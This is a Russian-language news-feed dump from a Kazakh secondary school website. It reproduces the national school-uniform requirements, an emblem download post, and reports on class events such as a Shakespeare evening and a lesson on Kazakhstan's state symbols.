sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">3. Фотография размером 3*4 см- в количестве 2 штук;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">4. Файловая папка голубого цвета на 10 листов (прозрачный);<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">5. Ключ ЭЦП для заполнения заявления родителя;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /> 24mektepMon, 11 Jun 2018 10:15:00 +0600http://24.astana-bilim.kz/news/?pkid=1534579529064685Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1534579529064685Требования к обязательной школьной форме для организаций среднего образованияhttp://24.astana-bilim.kz/news/?pkid=1504672764944334 Утверждены приказом Министра образования и науки Республики Казахстан 14 января 2016 года № 26 Требования к обязательной школьной форме для организаций среднего образования <ol><li> Общие положения</li> <li>Настоящие Требования к обязательной школьной форме для организаций среднего образования (далее-Требования) разработаны в соответствии с <a href="https://tengrinews.kz/zakon/docs?ngr=Z070000319_#z642">подпунктом 14-1)</a>статьи 5 Закона Республики Казахстан от 27 июля 2007 года «Об образовании» для обеспечения обучающихся качественной школьной формой. Вышеуказанные Требования направлены на реализацию светского характера обучения и устранения признаков социального, имущественного и иных различий между обучающимися организаций среднего образования. 2. В настоящих Требованиях используется следующее основное понятие: организация среднего образования - учебное заведение, реализующее общеобразовательные учебные программы начального, основного среднего и общего среднего образования, специализированные общеобразовательные и специальные учебные программы. 3. Цель Требований - обеспечение единства подходов организаций среднего образования в применении обязательной школьной формы, формирование позитивного отношения родителей к школьной форме, повышение ответственности руководства учебных заведений и общественных советов (совет школы, <a href="https://tengrinews.kz/zakon/docs?ngr=V070004995_#z9">попечительский совет</a>, родительский комитет) в соблюдении светского характера обучения. 4. Требования к обязательной школьной форме размещаются в фойе организаций среднего образования, а для ознакомления на Интернет-ресурсе организации среднего образования.</li> <li> Требования к обязательной школьной форме для организаций среднего образования</li> <li>Обязательная школьная форма организаций среднего образования (далее - школьная форма) соответствует светскому характеру обучения. Фасон, цвет школьной формы выдерживаются в классическом стиле, в единой цветовой гамме, с допущением смешения не более трех цветов. Цвет школьной формы выбирается из спокойных и не вызывающих ярких тонов. 6. Школьная форма вводится с учетом возрастных особенностей обучающихся. 7. Школьная форма подразделяется на повседневную, парадную и спортивную. 8.Школьная форма для мальчиков включает: пиджак, жилет, брюки, парадную рубашку, повседневную рубашку (зимний период: трикотажный жилет, водолазку). Брюки для мальчиков свободного кроя, и по длине закрывают щиколотки ног.</li> </ol>9.Школьная форма для девочек включает: пиджак, жилет, юбку, брюки, классическую блузу (зимний период: трикотажный жилет, сарафан, водолазку). Брюки для девочек свободного кроя, и по длине закрывают щиколотки ног. 10. Парадная форма для мальчиков состоит из повседневной формы, дополненной белой рубашкой, для девочек - белой блузкой. 11. Спортивная форма для мальчиков и девочек включает: спортивный костюм (спортивные брюки, футболка), спортивную обувь (кроссовки, кеды). 12. Школьная форма включает галстук классической формы, соответствующий основному цвету или в контрасте к цвету школьной формы. 13. Включение элементов одежды религиозной принадлежности различных конфессий в школьную форму не допускается. Сноска. В пункт 13 внесено изменение на государственном языке, текст на русском языке не изменяется в соответствии с приказом Министра образования и науки РК от 04.04.2016 <a href="https://tengrinews.kz/zakon/docs?ngr=V1600013576#z7">№ 248</a> (вводится в действие по истечении десяти календарных дней после дня его первого официального опубликования). 14. На школьной форме размещаются отличительные знаки (эмблема, нашивка и др.) организаций среднего образования. Они размещаются в верхней части одежды или аксессуара (пиджак, жилетка, галстук). 15. Требования к школьной форме реализуются с учетом климатических условий, места проведения учебных занятий и температурного режима в учебном помещении. 16. Требования к школьной форме исключают ношение одежды и аксессуаров с травмирующей фурнитурой. 17. При внедрении школьной формы обращается внимание на состав тканей. 18. В качестве тканей школьной формы используются полушерстяные и хлопковые ткани с улучшенными свойствами, имеющими высокую износостойкость, обладающие антибактериальными, антимикробными и антистатическими свойствами. 19. Выбор цвета, фасона школьной формы и длины юбки определяется организацией среднего образования и общественным советом, утверждается протоколом общешкольного родительского собрания. 20. Введение изменений в школьную форму принимается по согласованию с общественным советом. 21. Родители и иные законные представители обеспечивают ношение обучающимися школьной формы, установленной в организации среднего образования. <ol start="3"><li> Исполнение Требований к обязательной школьной форме для организаций среднего образования</li> <li>Руководитель организаций среднего образования (далее - Руководитель) и общественный совет (совет школы, <a href="https://tengrinews.kz/zakon/docs?ngr=V070004995_#z9">попечительский совет</a>, родительский комитет) при введении обязательной школьной формы руководствуется настоящими Требованиями. 23. Родители и иные законные представители участвуют в обсуждении вопросов о школьной форме и вносят предложения по ее совершенствованию, приобретают ее через действующую торговую сеть. 24. Областные, городов Астаны и Алматы управления образования, районные (городские) отделы образования рекомендуют родителям приобретение школьной формы у отечественных производителей школьной формы. Сноска. В пункт 24 внесено изменение на государственном языке, текст на русском языке не изменяется в соответствии с приказом Министра образования и науки РК от 04.04.2016 <a href="https://tengrinews.kz/zakon/docs?ngr=V1600013576#z6">№ 248</a> (вводится в действие по истечении десяти календарных дней после дня его первого официального опубликования). 25. Руководитель обеспечивает утверждение школьной формы до 25 мая учебного года. 26. Руководитель выносит вопрос соблюдения школьной формы обучающимися на общественный совет. 27. Руководитель ознакомливает родителей или иных законных представителей с настоящими Требованиями при подаче заявления о приеме (произвольной форме) обучающегося в организацию среднего образования под роспись и на общешкольном родительском собрании.</li> </ol> Утверждены приказом Министра образования и науки Республики Казахстан 14 января 2016 года № 26 Требования к обязательной школьной форме для организаций среднего образования <ol><li> Общие положения</li> <li>Настоящие Требования к обязательной школьной форме для организаций среднего образования (далее-Требования) разработаны в соответствии с <a href="https://tengrinews.kz/zakon/docs?ngr=Z070000319_#z642">подпунктом 14-1)</a>статьи 5 Закона Республики Казахстан от 27 июля 2007 года «Об образовании» для обеспечения обучающихся качественной школьной формой. Вышеуказанные Требования направлены на реализацию светского характера обучения и устранения признаков социального, имущественного и иных различий между обучающимися организаций среднего образования. 2. В настоящих Требованиях используется следующее основное понятие: организация среднего образования - учебное заведение, реализующее общеобразовательные учебные программы начального, основного среднего и общего среднего образования, специализированные общеобразовательные и специальные учебные программы. 3. Цель Требований - обеспечение единства подходов организаций среднего образования в применении обязательной школьной формы, формирование позитивного отношения родителей к школьной форме, повышение ответственности руководства учебных заведений и общественных советов (совет школы, <a href="https://tengrinews.kz/zakon/docs?ngr=V070004995_#z9">попечительский совет</a>, родительский комитет) в соблюдении светского характера обучения. 4. Требования к обязательной школьной форме размещаются в фойе организаций среднего образования, а для ознакомления на Интернет-ресурсе организации среднего образования.</li> <li> Требования к обязательной школьной форме для организаций среднего образования</li> <li>Обязательная школьная форма организаций среднего образования (далее - школьная форма) соответствует светскому характеру обучения. Фасон, цвет школьной формы выдерживаются в классическом стиле, в единой цветовой гамме, с допущением смешения не более трех цветов. Цвет школьной формы выбирается из спокойных и не вызывающих ярких тонов. 6. Школьная форма вводится с учетом возрастных особенностей обучающихся. 7. Школьная форма подразделяется на повседневную, парадную и спортивную. 8.Школьная форма для мальчиков включает: пиджак, жилет, брюки, парадную рубашку, повседневную рубашку (зимний период: трикотажный жилет, водолазку). Брюки для мальчиков свободного кроя, и по длине закрывают щиколотки ног.</li> </ol>9.Школьная форма для девочек включает: пиджак, жилет, юбку, брюки, классическую блузу (зимний период: трикотажный жилет, сарафан, водолазку). Брюки для девочек свободного кроя, и по длине закрывают щиколотки ног. 10. Парадная форма для мальчиков состоит из повседневной формы, дополненной белой рубашкой, для девочек - белой блузкой. 11. Спортивная форма для мальчиков и девочек включает: спортивный костюм (спортивные брюки, футболка), спортивную обувь (кроссовки, кеды). 12. Школьная форма включает галстук классической формы, соответствующий основному цвету или в контрасте к цвету школьной формы. 13. Включение элементов одежды религиозной принадлежности различных конфессий в школьную форму не допускается. Сноска. В пункт 13 внесено изменение на государственном языке, текст на русском языке не изменяется в соответствии с приказом Министра образования и науки РК от 04.04.2016 <a href="https://tengrinews.kz/zakon/docs?ngr=V1600013576#z7">№ 248</a> (вводится в действие по истечении десяти календарных дней после дня его первого официального опубликования). 14. На школьной форме размещаются отличительные знаки (эмблема, нашивка и др.) организаций среднего образования. Они размещаются в верхней части одежды или аксессуара (пиджак, жилетка, галстук). 15. Требования к школьной форме реализуются с учетом климатических условий, места проведения учебных занятий и температурного режима в учебном помещении. 16. Требования к школьной форме исключают ношение одежды и аксессуаров с травмирующей фурнитурой. 17. При внедрении школьной формы обращается внимание на состав тканей. 18. В качестве тканей школьной формы используются полушерстяные и хлопковые ткани с улучшенными свойствами, имеющими высокую износостойкость, обладающие антибактериальными, антимикробными и антистатическими свойствами. 19. Выбор цвета, фасона школьной формы и длины юбки определяется организацией среднего образования и общественным советом, утверждается протоколом общешкольного родительского собрания. 20. Введение изменений в школьную форму принимается по согласованию с общественным советом. 21. Родители и иные законные представители обеспечивают ношение обучающимися школьной формы, установленной в организации среднего образования. <ol start="3"><li> Исполнение Требований к обязательной школьной форме для организаций среднего образования</li> <li>Руководитель организаций среднего образования (далее - Руководитель) и общественный совет (совет школы, <a href="https://tengrinews.kz/zakon/docs?ngr=V070004995_#z9">попечительский совет</a>, родительский комитет) при введении обязательной школьной формы руководствуется настоящими Требованиями. 23. Родители и иные законные представители участвуют в обсуждении вопросов о школьной форме и вносят предложения по ее совершенствованию, приобретают ее через действующую торговую сеть. 24. Областные, городов Астаны и Алматы управления образования, районные (городские) отделы образования рекомендуют родителям приобретение школьной формы у отечественных производителей школьной формы. Сноска. В пункт 24 внесено изменение на государственном языке, текст на русском языке не изменяется в соответствии с приказом Министра образования и науки РК от 04.04.2016 <a href="https://tengrinews.kz/zakon/docs?ngr=V1600013576#z6">№ 248</a> (вводится в действие по истечении десяти календарных дней после дня его первого официального опубликования). 25. Руководитель обеспечивает утверждение школьной формы до 25 мая учебного года. 26. Руководитель выносит вопрос соблюдения школьной формы обучающимися на общественный совет. 27. Руководитель ознакомливает родителей или иных законных представителей с настоящими Требованиями при подаче заявления о приеме (произвольной форме) обучающегося в организацию среднего образования под роспись и на общешкольном родительском собрании.</li> </ol> 24mektepWed, 06 Sep 2017 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1504672764944334Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1504672764944334Эмблема средней школы №24 для скачивания в формате COREL и JPEGhttp://24.astana-bilim.kz/news/?pkid=1504592442423940<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1504592442423940.png" /> <a href="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/jpeg.jpg.zip">Скачать Эмблема в Jpeg</a><a href="/files/sites/1383501249717933/files/images/%20jpeg.jpg"> </a><a href="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/14%20%D0%92%D0%95%D0%A0%D0%A1.cdr">Скачать Эмблема в Corel</a><a href="/files/sites/1383501249717933/files/images/%20jpeg.jpg"> </a> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1504592442423940.png" /> <a href="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/jpeg.jpg.zip">Скачать Эмблема в Jpeg</a><a href="/files/sites/1383501249717933/files/images/%20jpeg.jpg"> </a><a href="http://24.astana-bilim.kz/files/sites/1383501249717933/files/images/14%20%D0%92%D0%95%D0%A0%D0%A1.cdr">Скачать Эмблема в Corel</a><a href="/files/sites/1383501249717933/files/images/%20jpeg.jpg"> </a> 24mektepTue, 05 Sep 2017 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1504592442423940Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1504592442423940Итоги недели http://24.astana-bilim.kz/news/?pkid=1450061521386361<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1450061521386361.jpg" /> <div style="text-align:center;">Итоги недели методического объединения</div> <div style="text-align:center;">учителей начальных классов СШ №24 <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/11.jpg" alt="" width="350" /> </div> Дети были очень рады повстречать в школе клоуна. Клоун загадывал загадки, отгадавшие получали сладкий приз. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/22.jpg" alt="" width="350" /> Наша школа работает по технологии БиС. Дети работают по карте «Биоинтернет» <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/33.jpg" alt="" width="350" /> Очень важно научить ребенка обращаться к ОСУД <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/44.jpg" alt="" width="350" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/55.jpg" alt="" width="350" /> <div style="text-align:center;">«Урок добра»</div> <div style="text-align:center;"> Первые открытые уроки молодого специалиста Мукашевой А.Е., а также её учеников 1 «Ж» класса. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/66.jpg" alt="" width="350" /> </div> Урок математики в 1 «Ж» классе, учитель Мукашева А.Е. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/77.jpg" alt="" width="350" /> Незабываемые впечатления оставило мероприятие «Пушкинские чтения» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/88.jpg" alt="" width="350" /> Победители «Пушкинских чтений» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/99.jpg" alt="" width="350" /> Конкурс рисунков «Астана – столица мира!» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/102.jpg" alt="" width="350" /> Урок литературного чтения «Рыцарь Вася», учитель Кучинская Т.Н. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/103.jpg" alt="" width="350" /> «Прощай осень», учащиеся 3 «Е» класса <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/104.jpg" alt="" width="350" /> На уроке изобразительного искусства по теме «Зимний пейзаж» <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/105.jpg" alt="" width="350" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1450061521386361.jpg" /> <div style="text-align:center;">Итоги недели методического объединения</div> <div style="text-align:center;">учителей начальных классов СШ №24 <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/11.jpg" alt="" width="350" /> </div> Дети были очень рады повстречать в школе клоуна. Клоун загадывал загадки, отгадавшие получали сладкий приз. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/22.jpg" alt="" width="350" /> Наша школа работает по технологии БиС. Дети работают по карте «Биоинтернет» <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/33.jpg" alt="" width="350" /> Очень важно научить ребенка обращаться к ОСУД <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/44.jpg" alt="" width="350" /> <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/55.jpg" alt="" width="350" /> <div style="text-align:center;">«Урок добра»</div> <div style="text-align:center;"> Первые открытые уроки молодого специалиста Мукашевой А.Е., а также её учеников 1 «Ж» класса. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/66.jpg" alt="" width="350" /> </div> Урок математики в 1 «Ж» классе, учитель Мукашева А.Е. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/77.jpg" alt="" width="350" /> Незабываемые впечатления оставило мероприятие «Пушкинские чтения» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/88.jpg" alt="" width="350" /> Победители «Пушкинских чтений» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/99.jpg" alt="" width="350" /> Конкурс рисунков «Астана – столица мира!» <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/102.jpg" alt="" width="350" /> Урок литературного чтения «Рыцарь Вася», учитель Кучинская Т.Н. <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/103.jpg" alt="" width="350" /> «Прощай осень», учащиеся 3 «Е» класса <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/104.jpg" alt="" width="350" /> На уроке изобразительного искусства по теме «Зимний пейзаж» <img style="margin-left:auto;margin-right:auto;" src="http://24.astana-bilim.kz/files/sites/1383501249717933/files/16.11/105.jpg" alt="" width="350" /> 24mektepMon, 14 Dec 2015 00:00:00 +0600http://24.astana-bilim.kz/news/?pkid=1450061521386361Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1450061521386361Внеклассное мероприятие на английском языке, посвященное У.Шекспируhttp://24.astana-bilim.kz/news/?pkid=1449295914427228<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1449295914427228.jpg" /> Внеклассное мероприятие на английском языке, посвященное У.Шекспиру В рамках площадки «Мың бала» в СШ 24 было проведено мероприятие, посвященное У.Шекспиру. Тема мероприятия – «Shakespeare». Выбор темы внеклассного мероприятия по английскому языку обусловлен ее актуальностью и местом в системе изучения английского языка. Приняли активное участие в мероприятии более двадцати учащихся. Дата и время проведения мероприятия: 18.11.2015 Место проведения: актовый зал школы Форма проведения – инсценирование. Инициаторами проведения мероприятия была учителя английского языка.. Подготовка к мероприятию проводилась под руководством учителя английского языка Магзумовой Альмирой Махмудовной. Оформление зала: портрет английского писателя У.Шекспира, декорации. Содержание и форма проведения мероприятия полностью соответствуют запланированным целям и поставленным задачам: Мероприятие имеет большую познавательную ценность.Ставит перед собой цель – воспитание интереса к английскому языку и стране изучаемого языка, т.е. повышение мотивации учащихся к предмету.Данное мероприятие играет большую роль в воспитании интереса к чтению книг вообще и к английской литературе в частности. Форма проведения мероприятия была выбрана с учетом возрастных (для учащихся 9 класса более приемлема свободная форма проведения мероприятия по иностранному языку) и индивидуально-психологических особенностей учащихся 9- 11 классов. Материал внеклассного мероприятия полностью основан на учебном материале, изучаемом на уроках английского языка по данной теме. Уровень подготовки мероприятия: Мероприятие полностью проводилось на английском языке: выступления учителей и учащихся. В ходе мероприятия использовались ТСО и музыкальное оформление. В качестве наглядности использовались портреты английских писателей, доска, задания на карточках. Отношение учащихся к мероприятию: ü Во время мероприятия учащиеся проявили энтузиазм и высокую активность. ü Показали дисциплинированность и личную заинтересованность. Анализ деятельности учителей, их умений: Учителя английского языка проявили умение педагогически целесообразно управлять коллективом школьников в ходе мероприятия, умение определять поручения отдельным ученикам. На внеклассном мероприятии царила деловая и в то же время дружеская атмосфера взаимопонимания и заинтересованности. Звучал монолог из «Гамлета» в исполнении Бөрібай Бахытжана .Было инсценирование отрывка сцены «У балкона» Мададовой Альбиной и Жаксылыковым Махамбетом.Психологический климат был благоприятным и способствующим плодотворному сотрудничеству учителей и учащихся для достижения поставленных целей. Учащиеся кружка придумали свои национальные костюмы времен Шекспира. Активное участие приняли Нұрлыжан из 9 «А» класса, Анар из 10 «А» класса, а также Малика из 9 «В» класса. Учащиеся оценивают мероприятие как интересное и познавательное. Самой интересной и приятной частью мероприятия было объявление победителя и награждение команд (в качестве призов использовались полезные канцтовары, дипломы и грамоты, а также апплодисменты). В целом мероприятие отличалось высоким уровнем организации и благоприятным психологическим климатом. Руководитель площадки «Мың бала» Тамабаева Жанна Болысбековна <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1449295914427228.jpg" /> Внеклассное мероприятие на английском языке, посвященное У.Шекспиру В рамках площадки «Мың бала» в СШ 24 было проведено мероприятие, посвященное У.Шекспиру. Тема мероприятия – «Shakespeare». Выбор темы внеклассного мероприятия по английскому языку обусловлен ее актуальностью и местом в системе изучения английского языка. Приняли активное участие в мероприятии более двадцати учащихся. Дата и время проведения мероприятия: 18.11.2015 Место проведения: актовый зал школы Форма проведения – инсценирование. Инициаторами проведения мероприятия была учителя английского языка.. Подготовка к мероприятию проводилась под руководством учителя английского языка Магзумовой Альмирой Махмудовной. Оформление зала: портрет английского писателя У.Шекспира, декорации. Содержание и форма проведения мероприятия полностью соответствуют запланированным целям и поставленным задачам: Мероприятие имеет большую познавательную ценность.Ставит перед собой цель – воспитание интереса к английскому языку и стране изучаемого языка, т.е. повышение мотивации учащихся к предмету.Данное мероприятие играет большую роль в воспитании интереса к чтению книг вообще и к английской литературе в частности. Форма проведения мероприятия была выбрана с учетом возрастных (для учащихся 9 класса более приемлема свободная форма проведения мероприятия по иностранному языку) и индивидуально-психологических особенностей учащихся 9- 11 классов. Материал внеклассного мероприятия полностью основан на учебном материале, изучаемом на уроках английского языка по данной теме. Уровень подготовки мероприятия: Мероприятие полностью проводилось на английском языке: выступления учителей и учащихся. В ходе мероприятия использовались ТСО и музыкальное оформление. В качестве наглядности использовались портреты английских писателей, доска, задания на карточках. Отношение учащихся к мероприятию: ü Во время мероприятия учащиеся проявили энтузиазм и высокую активность. ü Показали дисциплинированность и личную заинтересованность. Анализ деятельности учителей, их умений: Учителя английского языка проявили умение педагогически целесообразно управлять коллективом школьников в ходе мероприятия, умение определять поручения отдельным ученикам. На внеклассном мероприятии царила деловая и в то же время дружеская атмосфера взаимопонимания и заинтересованности. Звучал монолог из «Гамлета» в исполнении Бөрібай Бахытжана .Было инсценирование отрывка сцены «У балкона» Мададовой Альбиной и Жаксылыковым Махамбетом.Психологический климат был благоприятным и способствующим плодотворному сотрудничеству учителей и учащихся для достижения поставленных целей. Учащиеся кружка придумали свои национальные костюмы времен Шекспира. Активное участие приняли Нұрлыжан из 9 «А» класса, Анар из 10 «А» класса, а также Малика из 9 «В» класса. Учащиеся оценивают мероприятие как интересное и познавательное. Самой интересной и приятной частью мероприятия было объявление победителя и награждение команд (в качестве призов использовались полезные канцтовары, дипломы и грамоты, а также апплодисменты). В целом мероприятие отличалось высоким уровнем организации и благоприятным психологическим климатом. Руководитель площадки «Мың бала» Тамабаева Жанна Болысбековна 24mektepSat, 05 Dec 2015 12:11:00 +0600http://24.astana-bilim.kz/news/?pkid=1449295914427228Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1449295914427228Первого сентября прошел классный час на тему: "Моя Родина - Казахстан"http://24.astana-bilim.kz/news/?pkid=1441779870124085<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1441779870124085.jpg" /> <h2 style="text-align:center;"> Тема классного часа: "Моя Родина - Казахстан"</h2> Цель данной темы: воспитание патриотизма и толерантности, нравственно-духовное формирование подрастающего поколения, воспитание любви к месту, где ты родился, гордости за свою Родину, свой народ. <h2 style="text-align:center;">Ход классного часа:</h2> Учитель: Добрый день! Мне хочется, чтобы вы были внимательны, находчивы, а главное — чтобы вы показали, что знаете и как умеете работать. Самое прекрасное на свете — Родина. У каждого человека есть своя Родина. И каждый любит ее. Любит место, где он родился и живет. Любит свой родной язык, танцы, книги. Без Родины и без своего народа человек не может жить. С чего начинается Родина? С картинки в твоем букваре, С хороших и верных товарищей, Живущих в соседнем дворе. А может она начинается С той песни, что пела нам мать. С того, что в любых испытаниях У нас никому не отнять. С чего начинается Родина? С заветной скамьи у ворот С той самой березки, что во поле, Под ветром, склоняясь, растет. А может она начинается С весенней запевки скворца И с этой дороги проселочной, Которой не видно конца. С чего начинается Родина? С окошек, горящих вдали, Со старой отцовской буденовки, Что где-то в шкафу мы нашли. А может она начинается Со стука вагонных колес И с клятвы, которую в юности Ты ей в своем сердце принес. Учитель: Ребята, а в какой стране мы с вами живём, учимся? (В Казахстане). Значит наша Родина — Республика Казахстан. (показать на карте границу). Казахстан это огромная страна. С востока на запад простирается наш Казахстана 3000 км. С севера на юг — на 1600 км. На свете много чудных мест, Тех мест, где я не побывала, Но там нет запаха степей — Степей родного Казахстана. Учитель: Сегодня мы говорим о нашей стране. Есть в истории даты, которые поневоле заставляют оглянуться назад и не только для того, чтобы вспомнить прошлое, но и для того, чтобы понять будущее. КАЗАХСТАН- для многих, родившихся на земле казахской, это огромный мир, открывающийся безбрежной степью , бездонным, голубым небом, вольным ветром, гуляющим в гривах скачущих коней. Мир, с которым так созвучны звуки домбры. К государственным символам любой страны относятся, прежде всего, государственный герб, флаг и гимн. Есть они и у нашей Родины. Ведь одним из первых шагов возникшего государства является обретение им своего флага, герба и гимна. Связано это с тем, что они являются символами политической независимости и суверенитета страны. На Знамени – орел несет светило, И в сердцевине герба – шанырак Так в суверенном мире наша сила И в давней дружбе – благодарный знак. Государственные символы закреплены Конституцией Республики Казахстан в статье 9, а также статья 34 гласит, что “каждый гражданин обязан знать и уважать государственные символы Республики Казахстан”. 4 июня 1992 года были впервые утверждены новые государственные символы независимого Казахстана. Этот день навсегда останется в истории страны как день рождения новой государственной символики. Государственные символы — одна из незыблемых основ государства. Государственные символы – не только художественные образы, но и глашатаи идеи осуществления государственной независимости. Он способствует проникновению этой идеи в мысли и чувства людей. Жители разных стран по праву гордятся своими государственными символами. Но важно не только знать, как выглядят герб, флаг и гимн своей родной страны, но и понимать их символику. А для этого нужно иметь представление об их истории, о том, как возникли эти государственные символы, и какой путь прошли сквозь века Голубой флаг с золотистым солнцем и парящим силуэтом орла и герб, в центре которого находится образ шанырака, как символ общего дома для всех казахстанцев, явили миру образ нового независимого Государства под названием Республика Казахстан. Государственный флаг Республики Казахстан. Слово “флаг” голландского происхождения и означает “корабельное знамя”. Флаг это один из символов государства. Есть флаги и знамена корабельные, заводские, институтские, знамена спортивных команд, знамена воинских частей. С каких же пор пошел обычай поднимать и чтить флаг? Впервые знамена появились, пожалуй, у древних кочевых племен – скифов, только знамена были надувные. Это был длинный мешок, который формой напоминал дракона – с пастью, ногами и хвостом в виде рукавов. На ветру он надувался и должен был пугать врагов. Как мы с вами видим происхождение флага военное. В Средневековье собственное знамя было у каждого рыцаря, не говоря о графах, герцогах и королях. Цвет у знамени был самый различный. Современные государственные флаги чаще всего состоят из цветных полос, как правило, они прямоугольные, но есть исключения: у Швейцарии и Ватикана знамена квадратные, а у Непала ... треугольные. “Государственный флаг Республики Казахстан представляет собой прямоугольное полотнище голубого цвета с изображением в его центре солнца с 32 лучами, под которым парящий степной орел”. Голубой цвет является традиционным для тюркских народов. На флаге он означает бесконечность неба над всей землёй и людьми, а также является символом общего благополучия, спокойствия, мира и единства. Казахский народ с древних времен считал орла священной птицей. На языке символики силуэт орла означает государственную власть, широту и прозорливость. Это символ свободы, независимости, стремления к цели, к высоте, полёт в будущее. Вместе с тем, орёл, имея мощную силу, способен дать достойный отпор любому, кто пытается помешать в достижении будущего. Силуэт орла возник и от идеи стремления молодого суверенного Казахстана в высоты мировой цивилизации. С левой стороны, вдоль древка, идёт типичный национальный орнамент, олицетворяющий культуру и традиции Казахстана. Солнце — источник жизни и энергии. Силуэт солнца является символом богатства и изобилия. Поэтому не случайно все 32 луча солнца на флаге имеют форму зерна — основа изобилия и благополучия. Золотой цвет солнца, орла и орнамента означает светлое, ясное будущее наших народов, изобилие, счастье и богатство. Автором Государственного флага является Шакен Онласынович Ниязбеков. Смотрю на небо голубое: Там высоко парит орел, Восходит солнце золотое Над птицей, будто ореол. До боли мне знакомо это Видение сквозь пики гор, Осталось лишь добавить сбоку Национальный наш узор. Флаг, независимый и гордый, Народом государству дан, Пусть же всегда хранит свободу Наш суверенный Казахстан! Государственный герб Республики Казахстан. По словарю Ожегова С.И. герб – “эмблема государства, города, сословия, рода, изображаемая на флагах, монетах, печатях, государственных и других официальных документах”. Сегодняшний герб суверенного Казахстана является результатом огромного труда, творческих исканий двух известных архитекторов: Жандарбека Малибекова и Шоты Уалиханова.. Герб имеет форму круга. В мире самой совершенной формой считается форма шара. А круг, как самый близкий к этому совершенству элемент, особо ценится у кочевников. Это символ жизни, вечности. Центральным элементом, вобравшим в себя основную идею нашего герба, является шанырак — круговое навершие купола юрты. Образ шанырака в Государственном Гербе республики – это образ нашего общего дома, общей Родины всех людей, проживающих в Казахстане. Счастье в нем зависит от благополучия каждого, как прочность шанырака зависит от надежности его уыков. Будущее государства также зависит от единства и согласия его граждан, от их общих усилий во благо общего дома – общей Родины. Мастерски, эффективно и красиво изображенный тундык — зенитное отверстие юрты, напоминает яркое солнце на фоне голубого, мирного неба. 